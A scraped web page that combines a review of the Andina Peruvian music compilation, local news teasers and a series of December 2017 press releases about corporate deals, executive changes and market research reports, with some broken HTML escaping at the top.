&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;a href=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;a href=http://strut.bandcamp.com/album/andina-the-sound-of-the-peruvian-andes-1968-1978 target=_blank&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;http://strut.bandcamp.com/album/andina-the-sound-o&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;/a&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;ANDINA: The Sound Of The Peruvian Andes 1968-1978 by Various Artists&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;/a&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;



Listen too long while sitting still and you might lose your mind a little; each songs two or three discrete musical passages stick with you whether you like them or not. As infectious as these kinds of Carnaval music and cumbia are when youre in the mood, hearing nonstop celebration music when there is, in fact, no parade in sight, gets hard to handle. The repetition in each song is underscored by vintage recording quality, all the elements in most tracks set at the same volume and sticking together in a way that is hard to process. Its an inevitable side effect of the source material, as likely to transport a listener to a different time and place as it is to irritate.

If I sound like Im waffling on taking an actual stance on Andina, its because I am. There is something wonderful about the prospect of archived music being unearthed and released, recordings that have withstood the years. Andina is music from a time that was once the present, and having it at our fingertips now lets us connect with that time, perhaps to understand it on a visceral level that would otherwise be impossible, lost somewhere in a fixed past.

Andina lives on, thanks to Strut and Tigers Milk, there for us to experience over and over. But the selections are hard to parse, and so far removed from their original context that it is difficult to appreciate in its current form. But the work these labels do together is admirable and promising. May the deep digging continue.
Pizza has been a constant in Brian Kesslers life, from the time he got a job in a pizzeria as a teenager until the day he met his wife in a pizza joint. Read moreIggy's Pizza Shop is now open in Mount Pleasant
The area had been blocked off by city officials. No one was hurt and nothing damaged. The wall has been menacing passersby for many years. A fix is in the works. Read morePortion of old brick wall by Charleston's Second Presbyterian Church gives way
I was so intrigued by Robert Behres Oct. 17 column and the newspaper's strong editorial Nov. 10 in support of a park being developed in the former SCE&G lot between Meeting and King streets that I decided to investigate further. Read moreCommentary: Proposed downtown Charleston park would provide a richer future
There was a combination of superlative hysteria and political opportunism behind the warnings about the end of democracy leading up to last weeks elections, but it wasnt inconceivable that wed have flare-ups of violence and intimidation, that people who embrace the fantasy that the 2020 e Read moreEditorial: Election 2022 gave everybody something to celebrate
Speaker Nancy Pelosi says the attack on her husband, Paul, by an intruder in their family home made her think about staying on as the House Democratic leader. She says she almost thought about being leader again because she couldnt give them that satisfaction of intimidating her out of politics. Pelosi spoke to reporters Thursday at the Capitol after announcing she would step aside for a new generation of leaders. She will remain the congresswoman from California. Pelosi says shes not sad about her choice to step aside but feels balanced in her decision. She has no plans to endorse a successor and no desire to meddle with the new leadership's vision. Read morePelosi's big decision: 'Theres a life out there, right?'
We listen to local police and fire departments scanner traffic, but sometimes miss crimes, wrecks, fires or other incidents, especially if they happen overnight. If you know of something were not covering yet, please let Managing Editor Jeff Pownall know by emailing him at jpownall@lufkindailynews.com , or submit a news tip online by visiting lufkindailynews.com/tips.
PR-Inside.com: 2017-12-19 15:00:05

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FSCwire / Press ReleaseThe following press release was disseminated by FSCwire for Adama Technologies Corp.--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---Las Vegas, NV (FSCWire) - Adama Technologies Corp. (OTC Pink:ADAC). has issued a press release with the following headline:Adama Technologies Corp Announces Developments with Their Online Retail PlansTo view this press release on the FSCwire website, please either click on the link below, or copy and paste the link into your browser:If you would prefer, you can also view this press release as a PDF file, please either click on the link below, or copy and paste the link into your browser:For more information on Adama Technologies Corp., or to see additional press releases issued by this company, please either click on the link below, or copy and paste the link into your browser: http://www.fscwire.com/public-company/Adama Technologies Corp.Source: Adama Technologies Corp. (OTC Pink: ADAC)Date: December 19, 2017Time: 8:50 AM EST--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---The story mentioned above was issued on behalf of Adama Technologies Corp. and disseminated through FSCwire.About FSCwireFSCwire (a division of Filing Services Canada Inc.), is a global newswire dissemination, SEDAR, SEDI, and EDGAR / XBRL service provider.FSCwire is a full service global newswire dissemination company and is fully approved by all exchanges in Canada and the U.S. Press releases can be distributed for all sizes of public, private or not for profit companies and any other organization requiring news distribution. In addition to individual companies; public relations, communications and investor relations firms trust FSCwire to distribute press releases for their respective clients.In addition to newswire dissemination FSCwire also offers EDGAR, XBRL, SEDAR, SEDI, and additional services for publicly traded companies. For more information, please go to our website: http://www.fscwire.com Maximum News Dissemination by FSCwire. http://www.fscwire.com Copyright 2017 - FSCwire (a division of Filing Services Canada Inc.)
PR-Inside.com: 2017-12-19 11:01:02

Alro Optimizes Production with Quintiq to Maintain Regional Dominance

Quintiq

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Katie Kennedy

Gregory FCA

Tel: +1 610 228 2128

quintiq@gregoryfca.com

or

EMEA Enquiries

Richard Ratcliffe

Weber Shandwick

+44 207 067 0846

quintiq@webershandwick.com

Quintiq, a Dassault Systemes company and global leader in supply chain planning and optimization (SCP&O), announced its partnership with Alro, the largest aluminum smelter in the Central and non-CIS Eastern European region. Quintiqs solution will provide capacity planning, inventory management and production scheduling support capabilities.

This press release features multimedia. View the full release here: http://www.businesswire.com/news/home/201712190055

Alro optimizes production with Quintiq to maintain regional dominance (Photo: Business Wire)

A member of the worlds seventh largest aluminum producer Vimetco N.V., Alro aims to increase its delivery performance and production volume while keeping costs low and minimizing scrap. The company also plans to increase its momentum in highly demanding sectors such as aerospace and automotive metals. Quintiqs supply chain planning and optimization solution will help Alro reach these goals and maintain its regional dominance by providing full visibility over its entire supply chain to enhance delivery performance and maintain high customer satisfaction levels.

Visibility creates value, said Dobra Gheorghe, Alros General Director. Quintiqs streamlined approach to scheduling gives us full visibility of our present situation, enabling us to better anticipate demand, lead time and potential bottlenecks. This allows us to be more resilient against unforeseen disruptions. Increased assurance of on-time in-full deliveries also enables us to maintain the trust and satisfaction of our customers.

Alros first project with Quintiq is expected to go live in early 2018. Alro has set specific goals that it aims to achieve for the duration of the project. These include a reduction in work-in-progress inventory; an increase in throughput; a reduction of power consumption to achieve sustainability goals; and improved delivery performance.

Quintiqs successful 20-year track record in the metals industry enabled it to develop solutions that can quickly be implemented with minimal customization, yet tailored to fit Alros unique processes, rules, requirements and constraints. Quintiq specializes in end-to-end solutions configured to meet the specific needs of its customers. However, its process-specific metals solutions have the added advantage of being a cost-effective option for companies seeking to quickly optimize specific aspects of their operations before expanding to a large-scale, fully-customized solution.

Quintiqs extensive expertise and experience in the metals industry has resulted in the development of proven solutions that bring true value to our customers, said Markus Malinen, Vice President EMEA-Russia at Quintiq. Our symbiotic relationship with the industry has resulted in solutions that truly fit the metals landscape and are capable of quickly showing tangible results in the real world. We are confident that Alro will soon experience the full benefits of Quintiqs optimization technology.

About Alro

Alro is a subsidiary of Vimetco N.V., a global, vertically-integrated primary and processed aluminum producer. Alro is the largest aluminum producer in Continental Europe (excluding Russia and Scandinavia), having an installed production capacity of 265,000 tons per year.

The main markets for the products manufactured by Alro are within the EU (Germany, Hungary, Poland, Greece and Romania). Alro also exports to the USA and Asia. Alro is ISO 9001 certified for quality management and has NADCAP and EN 9100 certificates for aerospace production organizations. Alros products adhere to the quality standards for primary aluminum on the LME as well as international standards for flat-rolled products. To learn more, visit alro.ro.

About Quintiq

Every business has its supply chain planning puzzles. Some of those puzzles are large, some are complex and some seem impossible to solve. Since 1997, Quintiq has been solving each of those puzzles using a single supply chain planning and optimization software. Today, industry-leading companies across the globe rely on Quintiq software to plan and optimize workforces, logistics and production. Quintiq is part of Dassault Systemes (Euronext Paris: #13065, DSY.PA) and has headquarters in the Netherlands and the USA, and offices around the world.

For more information, visit quintiq.com or follow Quintiq on Twitter, Facebook, LinkedIn and YouTube.

View source version on businesswire.com: http://www.businesswire.com/news/home/201712190055
PR-Inside.com: 2017-12-19 07:42:02

Agreement between Anglo American and Chinsay aims to improve Anglo Americans work flow, collaboration and productivity around Charter Party Agreements

Anglo American to Enhance Their Trade Digitization and Risk Management Activities for Their Global Freight Operations by Appointing Chinsay for Collaborative Contract Management Services

Chinsay

Singapore Office

Margaret Cheng, +65 3158 2168

Marketing Manager

Mobile : +65 9274 9515

margaret@chinsay.com

or

Stockholm Office

Carsten Leth, +46 8 1213 2619

Chief Operating Officer

Mobile : +46 72 719 6659

carsten@chinsay.com

Anglo American plc Anglo American, a globally diversified mining business has signed a deal with Chinsay to implement Chinsays Recap Manager (RM) a single cloud-based SaaS system for end-to-end contract management for Ocean Freight operations.

Anglo American will utilise Chinsays Recap Manager system for creating, reviewing and managing digital freight contracts. Anglo Americans contract data will be hosted and protected by Chinsay, applying the highest standards for security and integrity.

Digitalizing our freight workflow is a strategic focus for Anglo American. Chinsays independent platform will allow us to make faster decisions with better information and manage risk more effectively around Charter Parties, said Peter Lye, Global Head of Shipping at Anglo American. Peter continued, Technology is a core focus for Anglo American and we chose to partner with Chinsay based on their leading technology and long track record in secure digital contract management for the maritime freight industry.

We are honored to partner with Anglo American and look forward to supporting their technology and innovation efforts, said Dag Sunden-Cullberg, Founder and Chief Executive Officer of Chinsay. He continued, Mining and commodity companies, like Anglo American, that take advantage of secured cloud, mobile, collaborative and risk and analytics technologies, such as those offered by Chinsay, will drive seamless work flow and improved productivity internally and with external counter-parties.

Due to continued market penetration for Chinsay and a generally improved freight market, we expect to see a higher volume of digital contracts through our platform compared to 2016 and are committed to helping Anglo American and the mining industry stay ahead of the acceleration of trade digitization stated Colin Hayward, Managing Director of Chinsays Singapore office. He continued, An increasing number of our clients expect their counterparties to be digital first when it comes to charter parties, contracts and operational matters related to their business and we expect this trend to continue.

Chinsays platforms for freight and commodities enable global businesses to collaboratively create, review and manage their trade contracts. Chinsays digital workflow unlocks efficiencies, mitigates the risk of contractual errors while ensuring that internal and external compliance is automatically enforced. By using digital contracts on Chinsay, contractual data is easily visualised and analysed which enables faster and better decision making.

About Chinsay

Chinsay is the leading cloud platform for the end-to-end administration of contracts in the multi-trillion dollar global commodities and freight markets. With offices in Sweden and Singapore, Chinsay provides Software-as-a-Service contract and risk management solutions that enable its customers to enforce compliance, save time and provide insight to their trading process. Chinsay is fully independent and has a +10-year track record of supporting multinational corporations, brokers, and commodity traders in over 40 countries.

For more information, visit https://www.chinsay.com

View source version on businesswire.com: http://www.businesswire.com/news/home/201712180062

Anglo American appoints Chinsay for digitalisation of trade & contract management to improve workflow, productivity
Asia Pacific Biosimilars Market By Type, By Technology, By Application (Oncology And Blood Diseases, Growth Hormone Deficiencies And Others), By Region - Industry Analysis, Size, Share, Growth, Trends, And Forecasts 20172022

Asia Pacific Biosimilars Market

PR-Inside.com: 2017-12-19 07:54:26

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Asia Pacific Biosimilars Market to hold a share worth over USD 4.05 billion in 2021.According to the report Asia Pacific Biosimilars Market, published by Market Data Forecast, the market is projected to reach USD 4.05 billion by 2021, at a CAGR of 39% from 2016 to 2021.Biosimilar is a biological product, identical to the original and is estimated to possess active properties, very similar to what was previously licensed. Biosimilars can be produced only when the patent for the original product expires.Biosimilars are made from living cells that have the capability to treat diseases using recombinant DNA technology and controlled gene expression. Most of the biosimilars are made from bacteria, viruses, plants and animals. Biosimilar drugs are used in prevention and cure of various diseases such as rheumatoid arthritis, cancer, chronic kidney failure, oncology, diabetes, heart attacks, autoimmune diseases, growth hormone deficiency, and infectious disease.Get a comprehensive overview of the Biosimilars Market: http://www.marketdataforecast.com/market-reports/asia-pacific-biosimilars-market-1145/ Biosimilars Market: Drivers & RestraintsThe growth of Biosimilars Market is driven by competitive edge over branded drugs due to cost-effectiveness. Limited healthcare resources across many countries result in underutilization of important biosimilars for conditions such as cancer and rheumatoid arthritis, largely due to their cost and a lack of proper support from state-run programs. These factors contribute to below optimal adoption of clinical practice recommendations and poor care across the region. Factors restraining the growth of market are strict regulations set up by FDA, high manufacturing costs and the alternatives of lower priced generic drugs.Get accurate market forecast and analysis on the Biosimilars Market. Request a sample to stay up-to-date on the main trends affecting this market: http://www.marketdataforecast.com/market-reports/asia-pacific-biosimilars-market-1145/request-sample Biosimilars Market: SegmentationBy Product Type Protein Insulin Human Growth Hormones Granulocyte Colony-stimulating Factor (G-CSF) Interferons Recombinant Glycosylated Proteins Erythropoietin Monoclonal Antibodies Follitropin Recombinant Peptides Glucagon CalcitoninBy Applications Chronic Diseases Autoimmune Diseases Blood disorders Oncology disease Growth Hormone DeficiencyFrom simple data collation through secondary and primary research to ad-hoc research requests relating to specific information, we provide our services via customization. Get customization at http://www.marketdataforecast.com/market-reports/asia-pacific-biosimilars-market-1145/customize-report Biosimilars Market: OverviewBiosimilars have accounted for large percentage in the Pharmaceutical expenditure but relatively lower amount of prescriptions. Strategic collaborations resulting in enhanced productivity and clinical trial activities for biosimilars, and increasing government support and initiatives to develop and promote biosimilars. Oncology segment is expected to grow at a higher CAGR due to rising prevalence of cancer cases. Biosimilars for conditions such as breast cancer, rheumatoid arthritis and non-small cell lung cancer are presently being developed and may soon be out in the market.Biosimilars Market: Region-wise OutlookBased on Regional Analysis, this region is further categorized in to India, China, Korea, Japan and others. Asia-Pacific is the fastest growing market for biosimilars because of low manufacturing expenses, availability of skilled and cheap labour, lenient regulations laid by governments. In fact, governments are encouraging the use of biosimilars. For example, the government of India provides various necessary and regulatory procedures for the usage of biosimilars products. In addition, low costs of biosimilars attract consumers to use these products over synthetic and biological drugs in the Asian countries. Increased co-operation between manufacturing companies, and the outsourcing of biosimilar products are acting as an impetus for biosimilars market. However, high manufacturing cost and complexity, and the availability of low priced generic drugs in the market are some of the major restraints of biosimilars market are facing.Key Questions Answered What is the current and future Biosimilars Market outlook in Asia Pacific? What trends are affecting the market? What is the competitive landscape and market share of major players in the Biosimilars Market space in Asia Pacific? What are the key, high growth markets that Biosimilars Market manufacturers should expand into? Which market segments are growing the fastest? What are the unmet needs with the Biosimilars currently on the market? How will emerging technologies fulfil these unmet needs? What is patient perception and market outlook of Biosimilars? What are the challenges and barriers that have hindered widespread adoption of Biosimilars?Biosimilars Market: Key PlayersSome of the major companies dominating the market, by their products include Sandoz International GmbH, Wockhardt Ltd, Hospira, Inc., Teva Pharmaceutical Industries Ltd. Dr. Reddys Laboratories, Biocon Limited, Mylan, Inc., Zydus Cadila, Celltrion Inc., Roche Diagnostics and Cipla Ltd.Checkout other related studies in the Pharmaceuticals Devices Segment:Asia-Pacific Anticoccidial Drugs Market: http://www.marketdataforecast.com/market-reports/asia-pacific-anticoccidial-drugs-market-24/ Asia-Pacific Therapeutic Vaccines Market: http://www.marketdataforecast.com/market-reports/asia-pacific-therapeutic-vaccines-market-77/ Asia-pacific Nuclear Medicine Radiopharmaceuticals Market: http://www.marketdataforecast.com/market-reports/asia-pacific-nuclear-medicine-radiopharmaceuticals-market-132/ About Market Data Forecast:Market Data Forecast is a firm working in the area of market research and business intelligence. With rich experience in research across various business domains, they cater to the needs of both individual and corporate clients. From all-encompassing umbrella markets to extremely specific niche markets covering all the major regions across the globe as part of the research scope, their research services offer one of a kind specialities with competitive pricing options.For more information, kindly visit, www.marketdataforecast.com Contact:Abhishek ShuklaSales Manager (International Business Development)Market Data ForecastDirect Line: +1-888-702-9626Mobile: +91 998 555 0206Mail: abhishek@ marketdataforecast.com Visit Market Data Forecast Blog @ http://www.marketdataforecast.com/blog/ View latest Press Releases of MDF @ http://www.marketdataforecast.com/press-releases
PR-Inside.com: 2017-12-19 18:33:14

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FSCwire / Press ReleaseThe following press release was disseminated by FSCwire for RESAAS Services Inc.--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---Vancouver, British Columbia (FSCWire) - RESAAS Services Inc. (CSE:RSS). has issued a press release with the following headline:Beverly Hills and Greater Los Angeles Association of REALTORS(R) Engages RESAASTo view this press release on the FSCwire website, please either click on the link below, or copy and paste the link into your browser:If you would prefer, you can also view this press release as a PDF file, please either click on the link below, or copy and paste the link into your browser:For more information on RESAAS Services Inc., or to see additional press releases issued by this company, please either click on the link below, or copy and paste the link into your browser: http://www.fscwire.com/public-company/RESAAS Services Inc.Source: RESAAS Services Inc. (CSE: RSS, OTCQX: RSASF)Date: December 19, 2017Time: 12:33 PM EST--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---The story mentioned above was issued on behalf of RESAAS Services Inc. and disseminated through FSCwire.About FSCwireFSCwire (a division of Filing Services Canada Inc.), is a global newswire dissemination, SEDAR, SEDI, and EDGAR / XBRL service provider.FSCwire is a full service global newswire dissemination company and is fully approved by all exchanges in Canada and the U.S. Press releases can be distributed for all sizes of public, private or not for profit companies and any other organization requiring news distribution. In addition to individual companies; public relations, communications and investor relations firms trust FSCwire to distribute press releases for their respective clients.In addition to newswire dissemination FSCwire also offers EDGAR, XBRL, SEDAR, SEDI, and additional services for publicly traded companies. For more information, please go to our website: http://www.fscwire.com Maximum News Dissemination by FSCwire. http://www.fscwire.com Copyright 2017 - FSCwire (a division of Filing Services Canada Inc.)
Magnesium bioabsorbable stents are most widely used stents in disease management due to its high solubility

Bioabsorbable Stents Market

PR-Inside.com: 2017-12-19 14:24:39

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The increase in prevalence of cardiovascular diseases globally is the major driving factor for the growth of bioabsorbable stents market. Additionally, increase in risk of late stent thrombosis, and restenosis due to use of conventional drug eluting stents is stimulating the use of new advanced biodegradable stents which degrades after a period. According to American Heart Association (AHS) in 2008, the mortality rate due to late stents thrombosis was around 45%. The other factors contributing to the growth of bioabsorbable stents market includes, increase in number of geriatric population who are more prone to strokes and cardiovascular diseases requiring stents implant, technological up gradation in stents, and rising adoption rate of bioabsorbable stents. Lack of exercises, unhealthy habits, and change in lifestyle are some of the factors leading to chronic diseases and may require the stents implantation for treatment, contributing to the growth of bioabsorbable stents market. However, stringent government policies and regulations, and high cost of this stents are the restraints which might hamper the growth of bioabsorbable stents market.Request to download and view Sample Report: https://www.coherentmarketinsights.com/insight/request-sample/897 The rising prevalence of late stent thrombosis is propelling the growth of bioabsorbable stents marketBioabsorbable stents are the new advancements in the stents technology also termed as bioresorbable stents or biodegradable stents. It is the device which is inserted into the blood vessel or internal duct to expand the blood vessel preventing its blockage. Traditionally the stents used are of metal type, the new bioabsorbable stents are made up of soluble materials. The traditional metal stents used to remain in the body for longer period or permanently restricting the vessel motion of patient implanted with the stent. The advantages of bioabsorbable stents over the conventional drug eluting stents (DES) are that they eliminate the risk of potential inflammation, late stent thrombosis, and restenosis. Once the bioabsorbable stent is dissolved, it restores the vessel to a natural state of vasodilatationand vasoconstriction.Magnesium bioabsorbable stents are most widely used stents in disease management due to its high solubilityThe global bioabsorbable stents market is segmented by diseases type, by material, by absorption rate, by end users and by regionOn the basis of disease type, the bioabsorbable stents market is segmented intoCoronary artery disease,Peripheral artery disease,.On the basis of material, the bioabsorbable stents market is segmented intoPolymer,Metal,Iron,Magnesium,.On the basis of absorption rate, the bioabsorbable stents market is segmented intoSlow absorption rate,Fast absorption rate,.On the basis of end-users, the bioabsorbable stents market is segmented intoCardiac centers,Hospitals,Ambulatory surgical centers,.Request a Customization: https://www.coherentmarketinsights.com/insight/request-customization/897 Rising number of patient population with cardiovascular diseases is contributing to the domination of North America in bioabsorbable stents marketRegional segmentation of bioabsorbable stents market by Coherent Market Insights comprises of North America, Latin America, Europe, Asia Pacific, Middle East, and Africa. North America dominates the bioabsorbable stents market due to the rising prevalence of cardiovascular diseases in this region. For instance, the data given by World Health Organization (WHO) shows that in 2015, 31% of deaths in United States were due to cardiovascular diseases. Whereas growing awareness about the bioabsorbable stents in Asia Pacific is helping to propel the growth of bioabsorbable stents market in this region.The industry players are collaborating with other companies to hold the maximum share in bioabsorbable stents marketKey industry players operating the bioabsorbable stents market includes STENTYS SA, Abbott laboratories, Biotronik, Elixir Medical Corporation, Reva Medical Incorporated, Kyoto Medical Planning Cooperative Limited, Amaranth Medical Incorporated, Boston Scientific Co., and Microsoft scientific corporation. The major industry players are adopting the strategies such as agreements and collaborations with other companies to hold the major share in the bioabsorbable stents market. For instance, the acquisition of STENTYS SA and Cappella Peel Away Inc. in 2014. That helped STENTYS SA Company to enhance the drug delivery system of stents. The mergers and acquisitions in the bioabsorbable market by players helping the healthcare system.To know more about the Radiopharmaceuticals Market, click the link below: https://www.coherentmarketinsights.com/ongoing-insight/bioabsorbable-stents-market-897 About Coherent Market Insights:Coherent Market Insights is a prominent market research and consulting firm offering action-ready syndicated research reports, custom market analysis, consulting services, and competitive analysis through various recommendations related to emerging market trends, technologies, and potential absolute dollar opportunity.Contact Us:Mr. ShahCoherent Market Insights1001 4th Ave,#3200Seattle, WA 98154Tel: +1-206-701-6702Email: sales@ coherentmarketinsights.com Visit Coherent Market Insights Blog @ https://blog.coherentmarketinsights.com/ Connect with us on LinkedIn @ https://www.linkedin.com/company/coherent-market-insights
PR-Inside.com: 2017-12-19 14:32:01

Bryan Hanson Leaves Medtronic to Become President and CEO of a Public Company

DUBLIN - December 19, 2017 - Medtronic plc (NYSE: MDT) announced today that Bob White, previously Senior Vice President and President of Medtronic's Asia Pacific (APAC) Region, has been named Executive Vice President and President of Medtronic's Minimally Invasive Therapies Group (MITG). In addition, the company announced that Chris Lee, Senior Vice President and President of Medtronic's Greater China Region, will assume the position of APAC Region President. Lee will remain the Interim President of the Greater China Region until a permanent successor is named in the coming weeks. These leadership changes are effective immediately.

The leadership changes are a result of Bryan Hanson's departure to become President and CEO of another public, medical technology company, effective today. Hanson was the former Executive Vice President of MITG.

"We are pleased to name Bob White and Chris Lee to these new leadership assignments. Their extensive knowledge and expertise of the Medtronic businesses and regions involved - as well as their demonstrated track records of success - will ensure continuity to our overall business strategies and objectives," said Omar Ishrak, Chairman and CEO of Medtronic. "Bob is uniquely qualified to take on the MITG role given his prior leadership experience in the former Covidien company and his most recent role as President of our APAC region, where he was responsible for advancing MITG and our three other groups in the region. Chris has strong experience across Asia Pacific, having previously led the operations of several leading pharmaceutical companies in the region. Both Bob and Chris have strong records of delivering results, and I look forward to working with them in their new roles."

"We thank Bryan for his contributions to Medtronic through the Covidien acquisition, its integration into Medtronic and to its current, solid performance as the Minimally Invasive Therapies Group," added Ishrak. "We wish him and his family well with his new endeavor."

Bob White joined Medtronic upon the close of the Covidien acquisition by Medtronic in 2015 as President for the APAC Region, based in Singapore. In this role, White was responsible for the commercial growth of Medtronic's business in the region, including leadership for Medtronic's four main product and therapy groups, regional business development efforts, government and partner development strategies, talent development and retention, and the operations of the company's enabling functions. Under White's leadership, the region has grown its revenue from $2.1 billion in fiscal year 2015 to $3.4 billion in fiscal year 2017.

White's previous leadership positions with Covidien included serving as President of the Respiratory and Monitoring business and President of Emerging Markets. Prior to his time at Covidien, White held various leadership positions with General Electric and IBM.

Chris Lee joined Medtronic from Bayer HealthCare in 2012 and has served as the President of the Greater China Region, based in Shanghai, since that time. Medtronic's Greater China Region includes China, Hong Kong, and Taiwan. Lee is responsible for all Medtronic commercial operations in the region, talent development and retention, and has served as the principal liaison with the Chinese government. Under Lee's leadership, the region has maintained double digit revenue growth, having grown its revenue from $0.6 billion in fiscal year 2012 to $1.6 billion in fiscal year 2017.

Prior to joining Medtronic, Lee worked for Bayer HealthCare, where he led their Asia Pacific region, based in Singapore, and their Greater China Region, based in Beijing. In previous assignments, Lee led operations for Korea, Vietnam, Japan, Australia and New Zealand and other sub-regions in Asia Pacific for both Bayer and Bristol Meyers Squibb.

About the Medtronic Minimally Invasive Therapies Group

The Minimally Invasive Therapies Group is organized into the Surgical Innovations and the Respiratory, Gastrointestinal & Renal divisions. The Group had revenues of $9.9 billion in fiscal year 2017.

About Medtronic

Medtronic plc (www.medtronic.com), headquartered in Dublin, Ireland, is among the world's largest medical technology, services and solutions companies - alleviating pain, restoring health and extending life for millions of people around the world. Medtronic employs more than 84,000 people worldwide, serving physicians, hospitals and patients in approximately 160 countries. The company is focused on collaborating with stakeholders around the world to take healthcare Further, Together.

Any forward-looking statements are subject to risks and uncertainties such as those described in Medtronic's periodic reports on file with the Securities and Exchange Commission. Actual results may differ materially from anticipated results.

- end -





This announcement is distributed by Nasdaq Corporate Solutions on behalf of Nasdaq Corporate Solutions clients.

The issuer of this announcement warrants that they are solely responsible for the content, accuracy and originality of the information contained therein.

Source: Medtronic plc via Globenewswire


Controlled Release Fertilizers Market: Global Market Estimation, Dynamics, Regional Share, Trends, Competitor Analysis 2012 to 2016 and Forecast 2017 to 2023

Controlled Release Fertilizers Market

PR-Inside.com: 2017-12-19 10:48:38

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Controlled Release Fertilizers Market is the customized fertilizers that are coated to provide the long-lasting effect on soil. These are the granulated fertilizers which gradually releases nutrients and minerals into the soil. As the traditional fertilizers are soluble in water, nutrients will be dispersed quickly. Hence farmers are adopting usage of controlled release fertilizers as they are insoluble in water and the dispersion of the nutrients will be slow and sustainable.Increasing demand for high-efficiency fertilizers, shrinking farmland and land productivity, and the environment-friendly operation mode of these fertilizers are the key factors driving the market demand for controlled release fertilizers. The gradual increase in global population, rising demand for a productivity of crops are expected to accelerate the growth of controlled release fertilizers market. As per to the report of Food and Agriculture Organization, the arable land ratio has been dropped to 0.197 hectares/person globally in 2013. However, regulatory and environmental constraints for some coated products and high manufacturing costs restrain the market.A sample of this report is available upon request @The controlled release fertilizers are classified on the basis of product type, application and geography.Based on the product type, controlled release fertilizers is segmented as Polymer coated NPK fertilizer Polymer sulphur coated urea/sulphur coated urea Polymer coated ureaBased on the application, controlled release fertilizers is segmented as Fruits & vegetables Cereals & grains Oilseeds & pulsesTo view TOC of this report is available upon request @Controlled release fertilizers are highly used in cultivation of pulses, cereals, grains, fruits and vegetable and oil seeds. Controlled release fertilizers can also be used for growing ornamental and turf plants. Mostly farmers use Controlled release fertilizers in grains and cereals crops. Market players of controlled-release fertilizers are adopting various growth strategies like acquisitions, new product launches, collaborations and geographical expansions and investments in order gain the upper hand in the Controlled release fertilizers market.Need more information about this report @On the basis of geographical regions, controlled release fertilizers market is classified as into five key regions as Europe, Asia- Pacific, North America, Middle East & Africa and Latin America. U.S. controlled release fertilizers market is expected to dominate the regional revenue share owing to adoption of sophisticated agriculture technologies and inclination towards novel cultivation technologies in production of cereals and grains. Europe is the largest producer of Fruits and Vegetables, hence, it is anticipated to witness healthy growth in controlled release fertilizers market. Asia-Pacific region is expected to be fastest-growing market due to the shortage of arable land in countries in APAC particularly in developing countries such as India, China.Some of the players in controlled release fertilizers Kingenta Ecological Engineering Group Co. Ltd. (China), EuroChem Agro Gmbh (Germany), Yara International ASA (Norway), Haifa Chemicals Ltd. (Israel), Agrium, Inc. (Canada), The Chisso Corporation (Japan), The Scotts Miracle-Gro Company (Ohio) Nufarm Ltd. (Australia), and Israel Chemicals Ltd. (Israel).Email: sales@ precisionbusinessinsights.com Toll Free(US): +1-866-598-1553Get access to full summary @Contact to Precision Business Insights,Email: sales@ precisionbusinessinsights.com Website @ https://www.precisionbusinessinsights.com
PR-Inside.com: 2017-12-19 13:27:01

DAE to Lease Two New Airbus A320 Aircraft to Hongtu Airlines

Dubai Aerospace Enterprise Ltd.

Alec Elliott, +353871879161

or

Arne Bevaart, +97144289591

press.office@dubaiaerospace.com

Dubai Aerospace Enterprise (DAE) Ltd. has announced that its leasing division, DAE Capital and Yunnan Hongtu Airlines (Hongtu) of China have today completed a lease agreement for two new Airbus A320-200 aircraft. These modern, fuel efficient planes will be delivered in 2018 and are part of a direct order DAE has with Airbus. The aircraft will come equipped with CFM 56-5B4/3 PIP engines.

This latest addition to the Hongtu A320 family fleet will assist the carrier as it looks to capitalize on Chinas increasing domestic demand for leisure and business air travel, offering a high-end, customized service to its passengers. Hongtu currently has a fleet of three Airbus A320 family aircraft and operates flights to 10 domestic destinations.

Commenting on the deal, DAE Chief Executive Officer, Firoz Tarapore said: DAE is pleased to welcome on board one of Chinas youngest airlines. Our current forward order puts us in a great position to support Hongtus 2018 fleet strategy, and we look forward to growing our relationship in line with the airlines ambitious growth plans.

Commenting on the deal, Hongtu Airlines Chief Executive Officer, Liu Gang said: Hongtu is delighted to be working with DAE as it embarks upon its fleet expansion. Going forward, we expect to continue working with lessors, such as DAE to support our growth strategy.

About DAE

Dubai Aerospace Enterprise (DAE) Ltd is a globally recognized and award-winning aerospace company headquartered in Dubai. More information can be found on the companys web site at www.dubaiaerospace.com.

*Source: AETOSWire

View source version on businesswire.com: http://www.businesswire.com/news/home/201712190055
PR-Inside.com: 2017-12-19 15:00:45

